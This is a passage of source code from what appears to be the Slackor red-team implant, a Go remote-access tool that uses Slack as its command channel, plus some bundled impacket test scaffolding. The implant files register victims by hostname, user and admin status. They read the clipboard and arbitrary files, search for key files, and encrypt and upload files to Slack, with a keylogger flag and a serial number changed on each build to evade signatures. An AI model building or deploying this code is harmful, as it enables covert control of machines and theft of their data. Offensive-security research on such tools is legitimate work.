2>&1 1>/dev/null | tee -a $OUTPUTFILE 53 | echo test_nmb.py 54 | $RUN test_nmb.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 55 | ./rundce.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 56 | fi 57 | 58 | echo Testing misc 59 | cd ../misc 60 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 61 | 62 | cd .. 63 | 64 | if [ $COVERAGE ] 65 | then 66 | # Combine coverage and produce report 67 | echo "Combining coverage data" 68 | mv .coverage .coveragetmp 69 | coverage combine .coveragetmp ImpactPacket/.coverage dot11/.coverage SMB_RPC/.coverage misc/.coverage 70 | coverage html -i 71 | coverage erase 72 | rm -f ImpactPacket/.coverage dot11/.coverage SMB_RPC/.coverage misc/.coverage 73 | fi 74 | 75 | if grep -q ERROR $OUTPUTFILE; 76 | then 77 | echo "ERRORS found, look at $OUTPUTFILE" 78 | exit 1 79 | else 80 | echo "NO ERRORS found, congrats!" 81 | rm $OUTPUTFILE 82 | exit 0 83 | fi 84 | 85 | echo ================================================================================ 86 | echo IMPORTANT: Dont forget to remove all the .coverage files from tests/* and subdirs 87 | echo if you want newly freshed coverage stats 88 | echo ================================================================================ 89 | -------------------------------------------------------------------------------- /impacket/tests/walkmodules.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # From https://stackoverflow.com/questions/1707709/list-all-the-modules-that-are-part-of-a-python-package 3 | import pkgutil 4 | import impacket 5 | package=impacket 6 | for importer, modname, ispkg in pkgutil.walk_packages(path=package.__path__, 7 | prefix=package.__name__+'.', 8 | onerror=lambda x: None): 9 | try: 10 | __import__(modname) 11 | except Exception as e: 12 | import traceback 13 | traceback.print_exc() 14 | print(e) 15 | pass 16 | -------------------------------------------------------------------------------- /impacket/tox.ini: -------------------------------------------------------------------------------- 1 | # content of: tox.ini , put in same dir as setup.py 2 | [tox] 3 | #envlist = py26#, py27,py36,py37 4 | envlist = py27,py36,py37 5 | [testenv] 6 | basepython = 7 | py26: python2.6 8 | py27: python2.7 9 | py36: python3.6 10 | py37: python3.7 11 | changedir = {toxinidir}/tests 12 | deps=-rrequirements.txt 13 | coverage 14 | py26: wheel==0.29.0 15 | coverage 16 | passenv = NO_REMOTE 17 | commands_pre = {envpython} -m pip check 18 | commands=./runall.sh {envname} > /dev/null 19 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | apt install golang xterm git python3-pip upx-ucl -y 3 | GO111MODULE=on go get 4 | GO111MODULE=on go test ./... 5 | pip3 install -r requirements.txt 6 | pushd impacket && python setup.py install && popd 7 | -------------------------------------------------------------------------------- /internal/config/vars.go: -------------------------------------------------------------------------------- 1 | // Package config manages all configuration related to Slackor components. 2 | package config 3 | 4 | // Global variables, some of which will get their values injected at compile 5 | 6 | // Keylogger is an internal flag to track whether the keylogger is active 7 | var Keylogger = false 8 | 9 | // Beacon is the average time in seconds (with 20% jitter) between polling 10 | var Beacon = 5 // TODO: Make jitter configurable 11 | 12 | // ParseEnv controls whether to expand environment variables 13 | var ParseEnv = false 14 | 15 | // ParseBacktick controls whether to expand backticks 16 | var ParseBacktick = false 17 | 18 | // OSVersion is the memoized operating system version string 19 | var OSVersion = "" 20 | 21 | // ResponseChannel is the Slack channel to send responses to 22 | var ResponseChannel = "RESPONSE_CHANNEL" 23 | 24 | // RegistrationChannel is the Slack channel that implants announce their 25 | // presence on 26 | var RegistrationChannel = "REGISTRATION_CHANNEL" 27 | 28 | // CommandsChannel is the Slack channel to listen for commands on 29 | var CommandsChannel = "COMMANDS_CHANNEL" 30 | 31 | // Bearer is the bearer token used for the bot user 32 | var Bearer = "BEARERTOKEN" // TODO: Rename this 33 | 34 | // Token is the bearer token used for the app 35 | var Token = "TOKENTOKEN" // TODO: Rename this 36 | 37 | // CipherKey is the string value of the symmetric key used to communicate 38 | var CipherKey = "AESKEY" 39 | 40 | // CipherKeyBytes is the CipherKey converted to a byte slice 41 | var CipherKeyBytes = []byte(CipherKey) 42 | 43 | // CipherIV is the initialization vector for all messages 44 | var CipherIV = []byte("1337133713371337") 45 | 46 | // SerialNumber is a string that gets updated on every build to circumvent simple signatures 47 | var SerialNumber = "CHANGEME" 48 | -------------------------------------------------------------------------------- /internal/crypto/decrypt.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "encoding/base64" 7 | 8 | "github.com/n00py/Slackor/internal/config" 9 | ) 10 | 11 | func PKCS5UnPadding(origData []byte) []byte { //Used for Crypto 12 | length := len(origData) 13 | unpadding := int(origData[length-1]) 14 | return origData[:(length - unpadding)] 15 | } 16 | 17 | func DecryptFile(crypted []byte) (string, error) { // Decrypt a file (currently unused) 18 | decodeData := []byte(crypted) 19 | block, err := aes.NewCipher(config.CipherKeyBytes) 20 | if err != nil { 21 | return "", err 22 | } 23 | blockMode := cipher.NewCBCDecrypter(block, config.CipherIV) 24 | origData := make([]byte, len(decodeData)) 25 | blockMode.CryptBlocks(origData, decodeData) 26 | origData = PKCS5UnPadding(origData) 27 | return string(origData), nil 28 | } 29 | 30 | func Decrypt(crypted string) (string, error) { // decrypt a string 31 | decodeData, err := base64.StdEncoding.DecodeString(crypted) 32 | if err != nil { 33 | return "", err 34 | } 35 | block, err := aes.NewCipher(config.CipherKeyBytes) 36 | if err != nil { 37 | return "", err 38 | } 39 | blockMode := cipher.NewCBCDecrypter(block, config.CipherIV) 40 | origData := make([]byte, len(decodeData)) 41 | blockMode.CryptBlocks(origData, decodeData) 42 | origData = PKCS5UnPadding(origData) 43 | return string(origData), nil 44 | } 45 | -------------------------------------------------------------------------------- /internal/crypto/encrypt.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "encoding/base64" 8 | 9 | "github.com/n00py/Slackor/internal/config" 10 | ) 11 | 12 | func PKCS5Padding(ciphertext []byte, blockSize int) []byte { //Used for Crypto 13 | padding := blockSize - len(ciphertext)%blockSize 14 | padtext := bytes.Repeat([]byte{byte(padding)}, padding) 15 | return append(ciphertext, padtext...) 16 | } 17 | 18 | func Encrypt(origData []byte) (string, error) { // Encrypt a string 19 | block, err := aes.NewCipher(config.CipherKeyBytes) 20 | if err != nil { 21 | return "", err 22 | } 23 | blockSize := block.BlockSize() 24 | origData = PKCS5Padding(origData, blockSize) 25 | blockMode := cipher.NewCBCEncrypter(block, config.CipherIV) 26 | crypted := make([]byte, len(origData)) 27 | blockMode.CryptBlocks(crypted, origData) 28 | return base64.StdEncoding.EncodeToString(crypted), nil 29 | } 30 | 31 | func EncryptFile(origData []byte) ([]byte, error) { // Encrypt a file 32 | block, err := aes.NewCipher(config.CipherKeyBytes) 33 | if err != nil { 34 | return nil, err 35 | } 36 | blockSize := block.BlockSize() 37 | origData = PKCS5Padding(origData, blockSize) 38 | blockMode := cipher.NewCBCEncrypter(block, config.CipherIV) 39 | crypted := make([]byte, len(origData)) 40 | blockMode.CryptBlocks(crypted, origData) 41 | return crypted, nil 42 | } 43 | -------------------------------------------------------------------------------- /internal/doc.go: -------------------------------------------------------------------------------- 1 | // Package internal is the collection of utility packages and commands used by 2 | // Slackor components which are specific to its internals. 3 | package internal 4 | -------------------------------------------------------------------------------- /internal/slack/register.go: -------------------------------------------------------------------------------- 1 | package slack 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net" 7 | "net/http" 8 | "net/url" 9 | "os" 10 | "os/user" 11 | "strings" 12 | "time" 13 | 14 | "github.com/n00py/Slackor/internal/config" 15 | ) 16 | 17 | func whoami() string { // returns the current user 18 | user, err := user.Current() 19 | if err != nil { 20 | return ("NAME_ERROR") 21 | } 22 | return string(user.Username) 23 | } 24 | 25 | func checkForAdmin() bool { //attempts to get a file handle on MBR, only Admin can 26 | _, err := os.Open("\\\\.\\PHYSICALDRIVE0") 27 | if err != nil { 28 | return false 29 | } 30 | return true 31 | } 32 | 33 | func hostname() string { // Returns the computer hostname 34 | name, err := os.Hostname() 35 | if err != nil { 36 | panic(err) 37 | } 38 | return name 39 | } 40 | 41 | func getVersion() string { 42 | return config.OSVersion 43 | } 44 | 45 | func getLANOutboundIP() string { // Get preferred outbound ip of this machine 46 | conn, err := net.Dial("udp", "4.5.6.7:1337") //This doesn't actually make a connection 47 | if err != nil { 48 | log.Fatal(err) 49 | } 50 | defer conn.Close() 51 | localAddr := conn.LocalAddr().(*net.UDPAddr) 52 | IP := localAddr.IP.String() 53 | return IP 54 | 55 | } 56 | 57 | func Register(clientID string) { // Send a message to the registration channel with the client ID and OS info 58 | client := &http.Client{Timeout: time.Second * 10} 59 | name, err := os.Hostname() 60 | if err != nil { 61 | panic(err) 62 | } 63 | URL := "https://slack.com/api/chat.postMessage" 64 | v := url.Values{} 65 | v.Set("channel", config.RegistrationChannel) 66 | user := whoami() 67 | if checkForAdmin() { 68 | user = whoami() + "*" 69 | } else { 70 | user = whoami() 71 | } 72 | info := clientID + ":" + name + ":" + user + ":" + getLANOutboundIP() + ":" + string(getVersion()) 73 | v.Set("text", info) 74 | //pass the values to the request's body 75 | req, err := http.NewRequest("POST", URL, strings.NewReader(v.Encode())) 76 | req.Header.Add("Authorization", "Bearer "+config.Bearer) 77 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0") 78 | req.Header.Add("Content-Type", "application/x-www-form-urlencoded") 79 | _, netError := client.Do(req) 80 | if netError != nil { 81 | fmt.Println("Connection error: " + netError.Error()) 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /internal/slack/send.go: -------------------------------------------------------------------------------- 1 | package slack 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | "net/url" 7 | "strings" 8 | "time" 9 | 10 | "github.com/n00py/Slackor/internal/config" 11 | "github.com/n00py/Slackor/internal/crypto" 12 | ) 13 | 14 | // SendResult sends a result back to the responses channel in Slack 15 | func SendResult(clientID, jobID, cmdType, output string) { //Sends a response back to the responses channel 16 | client := &http.Client{Timeout: time.Second * 10} 17 | URL := "https://slack.com/api/chat.postMessage" 18 | v := url.Values{} 19 | v.Set("channel", config.ResponseChannel) 20 | info := clientID + ":" + jobID + ":" + cmdType + ":" + output 21 | 22 | if len(info) < 4000 { // If characters are less than 4K, leave it alone 23 | v.Set("text", info) 24 | //If it has more than 4K and less than 30K, prepend the client and job info as it will get posted 25 | // as a multi-part message 26 | 27 | } else if len(info) < 30000 { 28 | info := clientID + ":" + jobID + ":" + "cont" + ":" + output 29 | index := 4000 30 | for i := 0; i+index < len(info); i++ { 31 | info = info[:index] + clientID + ":" + jobID + ":" + "cont:" + info[index:] 32 | index = index + 4000 33 | } 34 | v.Set("text", info) 35 | 36 | } else { //If the size is over 30K characters, it's too big to print. 37 | message := "Output too long. Consider writing command output to a file and downloading it." 38 | encryptedOutput, _ := crypto.Encrypt([]byte(message)) 39 | info := clientID + ":" + jobID + ":" + cmdType + ":" + encryptedOutput 40 | v.Set("text", info) 41 | } 42 | //pass the values to the request's body 43 | fmt.Println("Sending result...") 44 | req, _ := http.NewRequest("POST", URL, strings.NewReader(v.Encode())) 45 | req.Header.Add("Authorization", "Bearer "+config.Bearer) 46 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0") 47 | req.Header.Add("Content-Type", "application/x-www-form-urlencoded") 48 | _, netError := client.Do(req) 49 | if netError != nil { 50 | fmt.Println("Connection error: " + netError.Error()) 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /internal/slack/upload.go: -------------------------------------------------------------------------------- 1 | package slack 2 | 3 | import ( 4 | "bytes" 5 | "encoding/base64" 6 | "encoding/json" 7 | "fmt" 8 | "io" 9 | "io/ioutil" 10 | "mime/multipart" 11 | "net/http" 12 | "path/filepath" 13 | 14 | "github.com/n00py/Slackor/internal/config" 15 | "github.com/n00py/Slackor/internal/crypto" 16 | ) 17 | 18 | // Upload sends a file to Slack, notifying the listener that a file is ready 19 | // to download 20 | func Upload(clientID, jobID, location string) error { //Sends a response back to the responses channel 21 | path := filepath.Clean(location) 22 | filename := filepath.Base(path) 23 | file, err := ioutil.ReadFile(path) 24 | if err != nil { 25 | return err 26 | } 27 | body := &bytes.Buffer{} 28 | writer := multipart.NewWriter(body) 29 | part, err := writer.CreateFormFile("file", filename) 30 | if err != nil { 31 | return err 32 | } 33 | encyptedFile, err := crypto.EncryptFile(file) //Encrypts the file before uploading to Slack 34 | if err != nil { 35 | return err 36 | } 37 | eFile := bytes.NewReader(encyptedFile) 38 | io.Copy(part, eFile) 39 | writer.Close() 40 | resp, err := http.NewRequest("POST", "https://slack.com/api/files.upload", body) 41 | if err != nil { 42 | return err 43 | } 44 | resp.Header.Add("Content-Type", writer.FormDataContentType()) 45 | resp.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0") 46 | resp.Header.Add("Authorization", "Bearer "+config.Token) 47 | client := &http.Client{} 48 | r, netError := client.Do(resp) 49 | if netError != nil { 50 | fmt.Println("Connection error: " + netError.Error()) 51 | } 52 | bodyText, err := ioutil.ReadAll(r.Body) 53 | if err != nil { 54 | return err 55 | } 56 | s := string(bodyText) 57 | type Auto struct { 58 | Ok bool `json:"ok"` 59 | File struct { 60 | ID string `json:"id"` 61 | Created int `json:"created"` 62 | Timestamp int `json:"timestamp"` 63 | Name string `json:"name"` 64 | Title string `json:"title"` 65 | Mimetype string `json:"mimetype"` 66 | Filetype string `json:"filetype"` 67 | PrettyType string `json:"pretty_type"` 68 | User string `json:"user"` 69 | Editable bool `json:"editable"` 70 | Size int `json:"size"` 71 | Mode string `json:"mode"` 72 | IsExternal bool `json:"is_external"` 73 | ExternalType string `json:"external_type"` 74 | IsPublic bool `json:"is_public"` 75 | PublicURLShared bool `json:"public_url_shared"` 76 | DisplayAsBot bool `json:"display_as_bot"` 77 | Username string `json:"username"` 78 | URLPrivate string `json:"url_private"` 79 | URLPrivateDownload string `json:"url_private_download"` 80 | Permalink string `json:"permalink"` 81 | PermalinkPublic string `json:"permalink_public"` 82 | EditLink string `json:"edit_link"` 83 | Preview string `json:"preview"` 84 | PreviewHighlight string `json:"preview_highlight"` 85 | Lines int `json:"lines"` 86 | LinesMore int `json:"lines_more"` 87 | PreviewIsTruncated bool `json:"preview_is_truncated"` 88 | CommentsCount int `json:"comments_count"` 89 | IsStarred bool `json:"is_starred"` 90 | Shares struct { 91 | } `json:"shares"` 92 | Channels []interface{} `json:"channels"` 93 | Groups []interface{} `json:"groups"` 94 | Ims []interface{} `json:"ims"` 95 | } `json:"file"` 96 | } 97 | var m Auto 98 | json.Unmarshal([]byte(s), &m) 99 | 100 | SendResult(clientID, jobID, "download", base64.StdEncoding.EncodeToString([]byte(m.File.URLPrivateDownload))) 101 | return nil 102 | } 103 | -------------------------------------------------------------------------------- /pkg/README.md: -------------------------------------------------------------------------------- 1 | # pkg 2 | Implant commands live here. This package is subdivided by operating system, 3 | using the same names as the golang `GOOS` environment variable, with the 4 | exception of `common`, which contains commands that will run on all platforms. 5 | 6 | Commands must satisfy the `Command` interface and must only take zero or more 7 | `string` arguments. If an argument should be a number or other type, it will 8 | need to be converted internally by the command. 9 | -------------------------------------------------------------------------------- /pkg/command/command.go: -------------------------------------------------------------------------------- 1 | // Package command provides the common interface for all commands. 2 | package command 3 | 4 | // The Command interface provides a common interface for commands, simplifying 5 | // the process of providing cross-platform and OS-specific commands. 6 | type Command interface { 7 | // Name is the name of the command, what will appear in the help 8 | // documentation, and what the operator will type to run the command. 9 | Name() string 10 | // Run performs the command's operation. 11 | Run(clientID string, jobID string, args []string) (string, error) 12 | } 13 | 14 | var availableCommands = map[string]Command{} 15 | 16 | // RegisterCommand registers a command for use by the implant. 17 | // 18 | // This is typically done immediately after declaring the command to make it 19 | // easy to create the list of available commands at compile time for the 20 | // target OS. 21 | func RegisterCommand(cmd Command) { 22 | availableCommands[cmd.Name()] = cmd 23 | } 24 | 25 | // GetCommand returns the command with the given name or nil if it hasn't 26 | // been registered or otherwise doesn't exist. 27 | func GetCommand(name string) Command { 28 | return availableCommands[name] 29 | } 30 | -------------------------------------------------------------------------------- /pkg/common/beacon.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "strconv" 7 | 8 | "github.com/n00py/Slackor/internal/config" 9 | "github.com/n00py/Slackor/pkg/command" 10 | ) 11 | 12 | // Beacon changes the polling frequency 13 | type Beacon struct{} 14 | 15 | // Name is the name of the command 16 | func (b Beacon) Name() string { 17 | return "beacon" 18 | } 19 | 20 | // Run changes the polling frequency 21 | func (b Beacon) Run(clientID string, jobID string, args []string) (string, error) { 22 | if len(args) != 1 { 23 | return "", errors.New("beacon takes 1 argument") 24 | } 25 | config.Beacon, _ = strconv.Atoi(args[0]) 26 | return fmt.Sprintf("Implant will now poll every %d second(s).", config.Beacon), nil 27 | } 28 | 29 | func init() { 30 | command.RegisterCommand(Beacon{}) 31 | } 32 | -------------------------------------------------------------------------------- /pkg/common/cat.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "io/ioutil" 6 | "strings" 7 | 8 | "github.com/n00py/Slackor/pkg/command" 9 | ) 10 | 11 | // Cat prints the contents of the file 12 | type Cat struct{} 13 | 14 | // Name is the name of the command 15 | func (c Cat) Name() string { 16 | return "cat" 17 | } 18 | 19 | // Run prints the contents of the file 20 | func (c Cat) Run(clientID string, jobID string, args []string) (string, error) { 21 | if len(args) != 1 { 22 | return "", errors.New("cat takes 1 argument") 23 | } 24 | path := strings.Replace(args[0], "\"", "", -1) 25 | content, err := ioutil.ReadFile(path) 26 | if err != nil { 27 | return "", err 28 | } 29 | return string(content), nil 30 | } 31 | 32 | func init() { 33 | command.RegisterCommand(Cat{}) 34 | } 35 | -------------------------------------------------------------------------------- /pkg/common/cat_test.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "os" 6 | "testing" 7 | 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func TestCat(t *testing.T) { 12 | tcs := []struct { 13 | name string 14 | filename string 15 | expectedValue string 16 | expectedError error 17 | }{ 18 | { 19 | "empty value", 20 | "", 21 | "", 22 | errors.New("open : no such file or directory"), 23 | }, 24 | { 25 | "txt file", 26 | "a.txt", 27 | "The quick brown fox jumped over the lazy dog.\n", 28 | nil, 29 | }, 30 | { 31 | "txt file in subdir", 32 | "subdir/b.txt", 33 | "Sphinx of black quartz, judge my vow.\n", 34 | nil, 35 | }, 36 | { 37 | "file not found", 38 | "c.txt", 39 | "", 40 | errors.New("open c.txt: no such file or directory"), 41 | }, 42 | } 43 | for _, tc := range tcs { 44 | t.Run(tc.name, func(t *testing.T) { 45 | assert := assert.New(t) 46 | wd, _ := os.Getwd() 47 | os.Chdir("testdata/cat") 48 | 49 | c := Cat{} 50 | output, err := c.Run("", "", []string{tc.filename}) 51 | if tc.expectedError == nil { 52 | assert.NoError(err) 53 | } else { 54 | assert.Error(tc.expectedError, err) 55 | } 56 | assert.Equal(tc.expectedValue, output) 57 | os.Chdir(wd) 58 | }) 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /pkg/common/cd.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "os" 6 | 7 | "github.com/n00py/Slackor/pkg/command" 8 | ) 9 | 10 | // CD changes the current working directory 11 | type CD struct{} 12 | 13 | // Name is the name of the command 14 | func (c CD) Name() string { 15 | return "cd" 16 | } 17 | 18 | // Run changes the current working directory 19 | func (c CD) Run(clientID string, jobID string, args []string) (string, error) { 20 | if len(args) != 1 { 21 | return "", errors.New("cd takes 1 argument") 22 | } 23 | os.Chdir(args[0]) 24 | return os.Getwd() 25 | } 26 | 27 | func init() { 28 | command.RegisterCommand(CD{}) 29 | } 30 | -------------------------------------------------------------------------------- /pkg/common/clipboard.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "github.com/atotto/clipboard" 5 | "github.com/n00py/Slackor/pkg/command" 6 | ) 7 | 8 | // Clipboard reads the clipboard 9 | type Clipboard struct{} 10 | 11 | // Name is the name of the command 12 | func (c Clipboard) Name() string { 13 | return "clipboard" 14 | } 15 | 16 | // Run reads the clipboard 17 | func (c Clipboard) Run(clientID string, jobID string, args []string) (string, error) { 18 | return clipboard.ReadAll() 19 | } 20 | 21 | func init() { 22 | command.RegisterCommand(Clipboard{}) 23 | } 24 | -------------------------------------------------------------------------------- /pkg/common/doctor.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | // TODO: track errors and misconfigurations that we might otherwise panic for 4 | -------------------------------------------------------------------------------- /pkg/common/download.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "path/filepath" 7 | 8 | "github.com/n00py/Slackor/internal/slack" 9 | "github.com/n00py/Slackor/pkg/command" 10 | ) 11 | 12 | // Download sends the file to Slack 13 | type Download struct{} 14 | 15 | // Name is the name of the command 16 | func (d Download) Name() string { 17 | return "download" 18 | } 19 | 20 | // Run sends the file to Slack 21 | func (d Download) Run(clientID string, jobID string, args []string) (string, error) { 22 | if len(args) != 1 { 23 | return "", errors.New("download takes 1 argument") 24 | } 25 | path := filepath.Clean(args[0]) 26 | // The download command uploads files to Slack 27 | // Command is named from the perspective of the remote system 28 | slack.Upload(clientID, jobID, path) 29 | return fmt.Sprintf("Downloaded %s", path), nil 30 | } 31 | 32 | func init() { 33 | command.RegisterCommand(Download{}) 34 | } 35 | -------------------------------------------------------------------------------- /pkg/common/find.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "os" 7 | 8 | "github.com/bmatcuk/doublestar" 9 | "github.com/dustin/go-humanize" 10 | "github.com/n00py/Slackor/pkg/command" 11 | ) 12 | 13 | // Find searches the current directory for the glob 14 | type Find struct{} 15 | 16 | // Name is the name of the command 17 | func (f Find) Name() string { 18 | return "find" 19 | } 20 | 21 | // Run searches the current directory for the glob 22 | func (f Find) Run(clientID string, jobID string, args []string) (string, error) { 23 | if len(args) != 1 { 24 | return "", errors.New("find takes 1 argument") 25 | } 26 | glob := args[0] 27 | if glob == "" { 28 | return "No matches.", nil 29 | } 30 | filenames, err := doublestar.Glob(glob) 31 | if err != nil { 32 | return "", errors.New("invalid glob pattern") 33 | } 34 | var result string 35 | if len(filenames) > 0 { 36 | for _, filename := range filenames { 37 | f, err := os.Stat(filename) 38 | if err != nil { 39 | // If we can't stat the file for some reason, don't prevent other results from being returned 40 | result = result + fmt.Sprintf("%-28v", "n/a") + " " + fmt.Sprintf("%-9v", "n/a") + " " + filename + "\n" 41 | continue 42 | } 43 | size := humanize.IBytes(uint64(f.Size())) 44 | timestamp := f.ModTime() 45 | ts := timestamp.Format("01/02/2006 3:04:05 PM MST") 46 | dir := " " 47 | if f.IsDir() { 48 | dir = " " 49 | } 50 | result = result + fmt.Sprintf("%-28v", ts) + dir + fmt.Sprintf("%-9v", size) + " " + filename + "\n" 51 | } 52 | } else { 53 | return "No matches.", nil 54 | } 55 | return result, nil 56 | } 57 | 58 | func init() { 59 | command.RegisterCommand(Find{}) 60 | } 61 | -------------------------------------------------------------------------------- /pkg/common/find_test.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "os" 5 | "testing" 6 | 7 | "github.com/stretchr/testify/assert" 8 | ) 9 | 10 | func TestFind(t *testing.T) { 11 | tcs := []struct { 12 | name string 13 | glob string 14 | expectedSubstrings []string 15 | unexpectedSubstrings []string 16 | }{ 17 | { 18 | "empty glob", 19 | "", 20 | []string{"No matches."}, 21 | []string{"a.txt", "b.pem", "c.key", "d.pem"}, 22 | }, 23 | { 24 | "*.txt glob", 25 | "*.txt", 26 | []string{"a.txt"}, 27 | []string{"b.pem", "c.key", "d.pem"}, 28 | }, 29 | { 30 | "*.pem glob", 31 | "*.pem", 32 | []string{"b.pem"}, 33 | []string{"a.txt", "c.key", "d.pem"}, 34 | }, 35 | { 36 | "**/*.pem glob", 37 | "**/*.pem", 38 | []string{"b.pem", "subdir/d.pem"}, 39 | []string{"a.txt", "c.key"}, 40 | }, 41 | { 42 | "**/*.txt glob", 43 | "**/*.txt", 44 | []string{"a.txt"}, 45 | []string{"b.pem", "c.key", "d.pem", "subdir"}, 46 | }, 47 | { 48 | "**/*.*e* glob", 49 | "**/*.*e*", 50 | []string{"b.pem", "c.key", "subdir/d.pem"}, 51 | []string{"a.txt"}, 52 | }, 53 | } 54 | for _, tc := range tcs { 55 | t.Run(tc.name, func(t *testing.T) { 56 | assert := assert.New(t) 57 | wd, _ := os.Getwd() 58 | os.Chdir("testdata/find") 59 | 60 | f := Find{} 61 | output, err := f.Run("", "", []string{tc.glob}) 62 | assert.NoError(err) 63 | for _, sub := range tc.expectedSubstrings { 64 | assert.Contains(output, sub) 65 | } 66 | for _, sub := range tc.unexpectedSubstrings { 67 | assert.NotContains(output, sub) 68 | } 69 | 70 | os.Chdir(wd) 71 | }) 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /pkg/common/getip.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "strings" 6 | 7 | "github.com/n00py/Slackor/pkg/command" 8 | 9 | "github.com/miekg/dns" 10 | ) 11 | 12 | // GetIP gets the external WAN outbound ip of this machine 13 | type GetIP struct{} 14 | 15 | // Name is the name of the command 16 | func (g GetIP) Name() string { 17 | return "getip" 18 | } 19 | 20 | // Run gets the external WAN outbound ip of this machine 21 | func (g GetIP) Run(clientID string, jobID string, args []string) (string, error) { 22 | // high speed response, won't look that weird in DNS logs 23 | target := "o-o.myaddr.l.google.com" 24 | server := "ns1.google.com" 25 | 26 | c := dns.Client{} 27 | m := dns.Msg{} 28 | m.SetQuestion(target+".", dns.TypeTXT) 29 | r, _, err := c.Exchange(&m, server+":53") 30 | if err != nil { 31 | return "", err 32 | } 33 | for _, ans := range r.Answer { 34 | TXTrecord := ans.(*dns.TXT) 35 | // shouldn't ever be multiple, but provide the full answer if we ever do 36 | return strings.Join(TXTrecord.Txt, ","), nil 37 | } 38 | return "", errors.New("no answer") 39 | } 40 | 41 | func init() { 42 | command.RegisterCommand(GetIP{}) 43 | } 44 | -------------------------------------------------------------------------------- /pkg/common/getuid.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "github.com/n00py/Slackor/pkg/command" 5 | ) 6 | 7 | // GetUID is an alias for whoami 8 | type GetUID struct{} 9 | 10 | // Name is the name of the command 11 | func (g GetUID) Name() string { 12 | return "getuid" 13 | } 14 | 15 | // Run is an alias for whoami 16 | func (g GetUID) Run(clientID string, jobID string, args []string) (string, error) { 17 | return command.GetCommand("whoami").Run(clientID, jobID, args) 18 | } 19 | 20 | func init() { 21 | command.RegisterCommand(GetUID{}) 22 | } 23 | -------------------------------------------------------------------------------- /pkg/common/hostname.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/n00py/Slackor/pkg/command" 7 | ) 8 | 9 | // Hostname is an alias for whoami 10 | type Hostname struct{} 11 | 12 | // Name is the name of the command 13 | func (h Hostname) Name() string { 14 | return "hostname" 15 | } 16 | 17 | // Run is an alias for whoami 18 | func (h Hostname) Run(clientID string, jobID string, args []string) (string, error) { 19 | name, err := os.Hostname() 20 | if err != nil { 21 | return "", err 22 | } 23 | return name, nil 24 | } 25 | 26 | func init() { 27 | command.RegisterCommand(Hostname{}) 28 | } 29 | -------------------------------------------------------------------------------- /pkg/common/ifconfig.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "net" 5 | "strings" 6 | 7 | "github.com/n00py/Slackor/pkg/command" 8 | ) 9 | 10 | // IFConfig dumps interface and network information 11 | type IFConfig struct{} 12 | 13 | // Name is the name of the command 14 | func (i IFConfig) Name() string { 15 | return "ifconfig" 16 | } 17 | 18 | // Run dumps interface and network information 19 | func (i IFConfig) Run(clientID string, jobID string, args []string) (string, error) { 20 | returnString := "=== interfaces ===\n" 21 | ifaces, err := net.Interfaces() 22 | if err != nil { 23 | return "", err 24 | } 25 | for _, iface := range ifaces { 26 | returnString += iface.Name + ":\n" 27 | addrs, err := iface.Addrs() 28 | if err != nil { 29 | return "", err 30 | } 31 | for _, addr := range addrs { 32 | addrStr := addr.String() 33 | split := strings.Split(addrStr, "/") 34 | addrStr0 := split[0] 35 | mask := split[1] 36 | ip := net.ParseIP(addrStr0) 37 | if ip.To4() != nil { 38 | returnString += " IPv4 Address: " + addrStr0 + "/" + mask + "\n" 39 | } else { 40 | returnString += " IPv6 Address: " + addrStr0 + "/" + mask + "\n" 41 | } 42 | } 43 | returnString += "\n" 44 | } 45 | return returnString, nil 46 | } 47 | 48 | func init() { 49 | command.RegisterCommand(IFConfig{}) 50 | } 51 | -------------------------------------------------------------------------------- /pkg/common/kill.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/n00py/Slackor/pkg/command" 7 | ) 8 | 9 | // Kill kills the implant process 10 | type Kill struct{} 11 | 12 | // Name is the name of the command 13 | func (k Kill) Name() string { 14 | return "kill" 15 | } 16 | 17 | // Run kills the implant process 18 | func (k Kill) Run(clientID string, jobID string, args []string) (string, error) { 19 | // TODO: Check if launched from a persistence method first and auto-run cleanup? 20 | os.Exit(0) 21 | return "", nil 22 | } 23 | 24 | func init() { 25 | 